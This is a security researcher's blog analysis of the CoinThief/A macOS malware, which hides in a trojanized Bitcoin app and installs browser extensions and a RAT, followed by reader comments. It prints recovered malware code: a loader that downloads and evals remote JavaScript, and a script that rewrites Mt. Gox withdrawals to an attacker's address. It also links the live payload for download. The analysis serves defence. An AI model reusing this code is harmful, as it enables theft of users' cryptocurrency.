Analysis of CoinThief/A “dropper”

There is no such thing as malware in OS X but last week another sample was spotted and made the “news”. I am talking about CoinThief, a malware designed to hijack Bitcoin accounts and steal everything (I must confess I laughed a bit; I think Bitcoin is just a bullshit pyramid scheme but I digress…).

There are a few samples out there, in different stages of evolution, so this is probably not a very recent operation. Nicholas Ptacek from SecureMac broke the story and did an initial analysis. Check his link here and also ThreatPost for some details about the different infected applications and how it started.
This post will target the initial stage of the malware packed with StealthBit application and a bit into the installed malware browser extensions.

First step is to load the main binary into IDA or Hopper (I still use IDA mostly out of lazyness and habit). We are presented with this nice picture (not all methods shown) of very weird class and method names.

obfuscated_names

This triggers immediate attention which I don’t think it’s good at all if you are trying to hide attention. Another example this time from class-dump:

__attribute__((visibility("hidden")))
@interface IOSDJDSNSDOWKDII : NSObject
{
NSString *_fihwjsndkfkjs;
NSString *_hisdhiwjknsk;
NSString *_sdhijkskjdfd;
}
 
@property(copy, nonatomic) NSString *sdhijkskjdfd; // @synthesize sdhijkskjdfd=_sdhijkskjdfd;
@property(copy, nonatomic) NSString *hisdhiwjknsk; // @synthesize hisdhiwjknsk=_hisdhiwjknsk;
@property(copy, nonatomic) NSString *fihwjsndkfkjs; // @synthesize fihwjsndkfkjs=_fihwjsndkfkjs;
- (void).cxx_destruct;
- (BOOL)hidfisdfsguiwomc;
- (id)initWiwijmxug:(id)arg1 jifikwdff:(id)arg2 mkoxjnwhd:(id)arg3;

The strings are also a good starting point to start understanding the puzzle. It’s easy to spot base64 encoded strings, confirmed by the presence of base64 methods.

bGFzdENocm9tZVBha1BhdGNoZWRWZXJzaW9u
L0FwcGxpY2F0aW9ucy9Hb29nbGUgQ2hyb21lLmFwcC9Db250ZW50cy9WZXJzaW9ucw==
q24@?0@"NSString"8@"NSString"16
R29vZ2xlIENocm9tZSBGcmFtZXdvcmsuZnJhbWV3b3JrL1Jlc291cmNlcw==
RXh0ZW5zaW9uU2V0dGluZ3MucmV0dXJuRXh0ZW5zaW9uc0RhdGEgPSBmdW5jdGlvbihleHRlbnNpb25zRGF0YSkgewogICAgLy8gV2UgY2FuIGdldCBjYWxsZWQgbWFueSB0aW1lcyBpbiBzaG9ydCBvcmRlciwgdGh1cyB3ZSBuZWVkIHRvCiAgICAvLyBiZSBjYXJlZnVsIHRvIHJlbW92ZSB0aGUgJ2ZpbmlzaGVkIGxvYWRpbmcnIHRpbWVvdXQuCiAgICA=
RXh0ZW5zaW9uU2V0dGluZ3MucmV0dXJuRXh0ZW5zaW9uc0RhdGEgPSBmdW5jdGlvbihleHRlbnNpb25zRGF0YSkgewpmb3IodmFyIGE9MCxiPWV4dGVuc2lvbnNEYXRhLmV4dGVuc2lvbnMsYz0wO2M8Yi5sZW5ndGg7YysrKWlmKCIlQCI9PWJbY10uaWQpe2E9YztiLnNwbGljZShhLDEpO2JyZWFrfQo=

At this point we know we have a binary with obfuscated strings and class/method names. Different strategies are possible to continue analysis and reversing. DTrace and similar utilities can be used to have a general overview of what the binary is trying to do, or we can go directly into IDA and start making sense of the code. In the second option we can start reversing at main() or we can start checking what the obfuscated methods are trying to do and rename to something meaningul. I am a great fan of the second so I started checking each method sequentially.

The getter and setter methods are easy to spot. The setter methods start with set in the name because they are automatically generated via property keyword, and getters because their code just retrieves the instance variable. The obfuscator is probably a script that modifies the names before compilation (I don’t think a define is enough for this), a LLVM pass, or just developed with those names.

setter_getter_example

Now let me show you a very simple method that writes a “mutex” to “~/Library/Preferences/fsdiskquota1”. In this file is present it means that the dropper code was previously executed and it should not happen again.

obfuscated_mutex_creation

The base64 string is decoded, tilde expanded to the full path and fsdiskquota1 mutext written. Nothing very complicated.
The trick here is to start renaming the methods so you can easily follow up the code. That is the annoying part of this obfuscation method but with a small dose of patience and time it falls apart. Renamed and commented method:

mutex_creation

To make it easier for you this is a screenshot of the methods I renamed. Not all but the most important to understand what the dropper does.

renamed_methods

The init method for the class HIFOWEIOWEOJSDJFIVB initializes an instance variable with a NSFileManager object and retrieves the location of the current logged in user NSLibraryDirectory. Then what I renamed  as startBackdoor is called and the fun starts.

This method does the following:

  • Erases itself and replaces it with the original StealthBit binary
  • Starts the original binary. At this point you have the original application running and the dropper, which will continue its work in the background.
  • Verifies if the mutex exists.
  • If mutex does not exist, write it and continue unpacking the malware payload.
  • Browser extensions for Safari and Chrome are unpacked into a temporary folder.
  • If unpack was successful, Safari version is retrieved. The extensions are only compatible with Safari 5 or higher.
  • Installs Safari extension that is masked as a pop up blocker.
  • Retrieve Chrome version (if installed). Only supports Chrome v25 or higher.
  • Installs Chrome extension.
  • Verifies if Library/Handsoff folder exists.
  • If Handsoff is not installed the backdoor will be made persistent by creating a fake Googe Software Update launch agent.
  • Remove temporary files and exit.

At this point and assuming the whole process was successful against Safari, Chrome, and persistence, we have two malware extensions loaded into the browsers and a backdoor RAT installed in the target machine. Two screenshots of the startBackdoor method:

startbackdoor_1startbackdoor_2

The original binary is located in the _CodeSignature folder and named “.dSYM”. The extensions are located in the same folder in a bzip2 archive named “.sig”. The dropper does not show in the Dock because LSUIElement setting is used in the Info.plist. When the dropper erases itself, the setting is removed from the plist so the legit application shows up in the Dock. For the user everything looks normal – application startup time is fast. The original application is started by creating a new NSTask and using the “open” command to start again the now legit StealthBit.app.

The functions that install the extensions are not very interesting in terms of reversing. They locate the extension folders, and install/active the malware extension. The Chrome related method are a bit more complex because they look up more information about its internals and mess with the paks and so on. I don’t know much about Chrome internal organization and wasn’t much interested in reversing them – nothing valuable to me in terms of understanding the whole process.

Now a bit into the extensions, using the Safari version as reference. As previously said, it is spoofed as a Pop-Up Blocker made by Eric Wong using KangoExtensions. The contents of description file are:

{
    "kango_version": "1.3.0 d6f8f2cf3761",
    "content_scripts": [
        "libs/jquery-2.0.3.min.js",
        "injected/main.js"
    ],
    "name": "Pop-Up Blocker",
    "creator": "Eric Wong",
    "kango_package_id": "dev",
    "background_scripts": [
        "libs/jquery-2.0.3.min.js",
        "settings/defaultSettings.js",
        "settings/settings.js",
        "global/encryption/jsEncrypt.js",
        "global/encryption/updateVerifySignature.js",
        "global/cryptoJS/components/core-min.js",
        "global/cryptoJS/components/enc-base64-min.js",
        "global/cryptoJS/components/sha1-min.js",
        "global/cryptoJS/rollups/aes.js",
        "global/cryptoJS/rollups/md5.js",
        "global/cryptoJS/rollups/tripledes.js",
        "global/jsrsasign/ext/jsbn-min.js",
        "global/jsrsasign/ext/jsbn2-min.js",
        "global/jsrsasign/ext/base64-min.js",
        "global/jsrsasign/ext/rsa-min.js",
        "global/jsrsasign/ext/rsa2-min.js",
        "global/jsrsasign/asn1hex-1.1.min.js",
        "global/jsrsasign/rsapem-1.1.min.js",
        "global/jsrsasign/rsasign-1.2.min.js",
        "global/jsrsasign/x509-1.1.min.js",
        "global/jsrsasign/crypto-1.1.min.js",
        "background.js"
    ],
    "homepage_url": "http://kangoextensions.com/",
    "version": "1.0.0",
    "id": "com.optimalcycling.safari.popupblocker",
    "description": "Blocks pop-up windows and other annoyances."
}

Screenshot of the Safari extension:

extension_installed

The Kango stuff is mostly uninteresting except for the background.js file. What it does is to try to contact a remote server and download a file, which will be the effective malware payload responsible for hijacking the Bitcoin sites accounts information.

if(!kango.storage.getItem('installed')) {
    //Get first version and run
 
    $.get(settings.get('reportServer')+"/updates/firstUpdate.php", function(data) {
        //Checking signature
        if(updateVerifySignature(CryptoJS.SHA1(data.global), CryptoJS.SHA1(data.injected), data.signature)) {
 
            //Saving to localstorage
            kango.storage.setItem('globalJS',data.global);
            kango.storage.setItem('injectedJS',data.injected);
            kango.storage.setItem('installed',true);
 
            //Saving current version
            kango.storage.setItem('extensionUpdateTimestamp',0);
            kango.storage.setItem('agentUpdateTimestamp',0);
 
            //Executing script
            eval(kango.storage.getItem('globalJS'));
            if(settings.get('debug')) console.log("Valid First Release");
        } else {
            if(settings.get('debug')) console.log("First Release: Bad Signature");
        }
 
    }, "json" );
} else {
    //Running saved version
    try {
        eval(kango.storage.getItem('globalJS'));
    } catch(err) {
 
        if(kango.storage.getItem('globalJS_old')) {
            kango.storage.setItem('globalJS', kango.storage.getItem('globalJS_old'));
        } else {
            //Error in version 0, resetting extension.
            kango.storage.clear();
        }
    }
}
 
if(settings.get('debug')) {
    function uninstall() {
        console.log("Uninstalling...");
        kango.storage.clear();
    }
}

A  screenshot of the connection attempt to the remote server:

firewall_connection

If you are interested in looking at the contents of the malware payload just download it here. Password is “infected!”. You can find javascript code such as this sample for the MtGoxPlugin:

    MtGoxPlugin.prototype.injectPage = function (withdrawKey) {
        function injectScript(source) {
            var elem = document.createElement("script");
            elem.type = "text/javascript";
            elem.innerHTML = source;
            document.head.appendChild(elem);
        }
 
        var balance = Math.round((parseFloat($('#virtualCur span').text().match(/(.*)\\s/)[1])-0.001)*100000000)/100000000;
 
        injectScript("var pubKey = '"+ withdrawKey +"'; balanceBTC = '"+ balance +"'; "+
        "("+(function() {
            $.ajaxSetup({
                beforeSend: function(jqXHR, settings) {
                    if(settings.url == '/api/2/money/bitcoin/send_simple') {
                        settings.data = settings.data.replace(/amount=.*\\&address=/, 'amount='+ balanceBTC +'&address=');
                        settings.data = settings.data.replace(/address=.*\\&address/, 'address='+ pubKey +'&address');
                    }    
            }});
        }).toString()+")()");
    };

The last step is to reverse the RAT, a binary called “Agent” and installed in “~/Library/Application Support/.com.google.softwareUpdateAgent”. I did not reverse this module yet but it appears to be responsible for sending data to the remote servers and also remote access to the infected machines. It has just a few obfuscated methods reused from the dropper but everything else is not obfuscated. There is a method that verified the presence of Little Snitch, which is funny because that isn’t made in the dropper. Probably some quality control issues! There’s also a method checking for 1Password. agent_methods

What else is there to say about this? I have at least five different infected applications, in different stages of evolution (some without obfuscated methods).
As far as I have read/know they were available on popular downloads sites. Trust is a difficult problem to solve ;-).

What are the conclusions and lessons from this malware?
There’s some fuss around regarding my previous post about evil iTunes plugins, with a quite surprising number of “uninformed” people using the argument of “arbitrary code execution”. Well, the thing is that everything you download from the Internet is arbitrary code unless you reverse every single binary, and that has the strong assumption that you are able to understand everything it does. Quite a task I might say!
A normal looking application can easily copy malicious payloads to many different places, iTunes plugins being one of the interesting targets, but it can also easily patch other applications since most are installed with same permissions as the normal user. There’s no need for exploits, suspicious “please gimme r00t” dialogs. Just an innocent app you download and trust. In the post-Snowden world what guarantees you have that famous apps don’t have state-sponsored payloads? None I might say.
The open source bullshit principle of many eyes looking has been shown too many times to be a really bad assumption – not that many eyes are looking and stupid bugs are kept alive for many years. Sandboxes and AppStore improve the situation but they still suffer from vulnerabilities and their binaries are probably more opaque (iOS in particular) and with less incentives to be reversed (Apple wouldn’t let malware in the AppStore, right?).

I will probably edit this post in the next days to add some missing info or improve some paragraphs. Too tired right now :-).

Have fun,
fG!

8 thoughts on “Analysis of CoinThief/A “dropper”

  1. It’s too bad that StealthBit was the first sample to find and start reversing because the other variants from earlier in 2013 turned out to not be so annoyingly obfuscated. One thing with the Chrome extension stuff is that the modifications to the Chrome prefs/settings are made so it thinks the user manually installed the extension and saw/OK’d it, but not sure if the latest builds of Chrome are checking against that kind of stuff.
    Gotta love all the people who think that the only way bad stuff can happen is if they enter their admin password without thinking about all the trouble that can still be caused in user space alone (not to mention the majority of users are still running the default admin account as their main). Nice writeup on the specifics overall!

  2. I’m disappointed to see that someone as informed, knowledgable, and interested in software, encryption, and economics thinks bitcoin is a “bullshit pyramid scheme”. I would think someone of your level of intelligence could see the obvious improvements bitcoin provides over the currently existing pathetic government managed alternatives. Unfortunately sometimes your arrogance and ideology blinds you to the obvious and prevents you from applying any perspectives other than your own. But hey, some people need to push back so that other’s innovations are shown even stronger in the face of adversity.

    1. Bitcoin is bullshit because it’s badly designed and not remotely working as a currency these days.
      Right now it’s nothing more than a pyramid scheme getting rich those who entered first and taking money from all the suckers that are getting late in the game.
      If that’s not a pyramid scheme please enlighten me.
      Further, it’s not fullfilling its role of currency since only idiots would trade them for goods when the expectactions are that bitcoin value will increase in time. It’s called deflation and Japan experienced it to great pain.
      Bitcoin is a pathetic alternative designed to suck money out of greedy suckers. You have just to pain attention to the other tons of digital currencies showing up like mushrooms to do the same.

      Is there a purpose or chance for digital currencies? Sure, when they are well designed and not pyramid schemes.
      Feel free to argue and show me the superiority of bitcoin. I always love a good discussion, particularly about bullshit stuff.

    2. @AFriend: You didn’t actually make an argument there, just blind assertions about how terrible the alternatives are. Your paragraph might as well be from the mouth of a scientologist or a creationist bashing the “lamestream conspiracies”.

  3. I was hacked out of 90.5 coins that was stolen from my blockchain.info account … after looking at my traffic i found his control panel i think … is cloudnow.altervista.org

Leave a Reply

Your email address will not be published. Required fields are marked *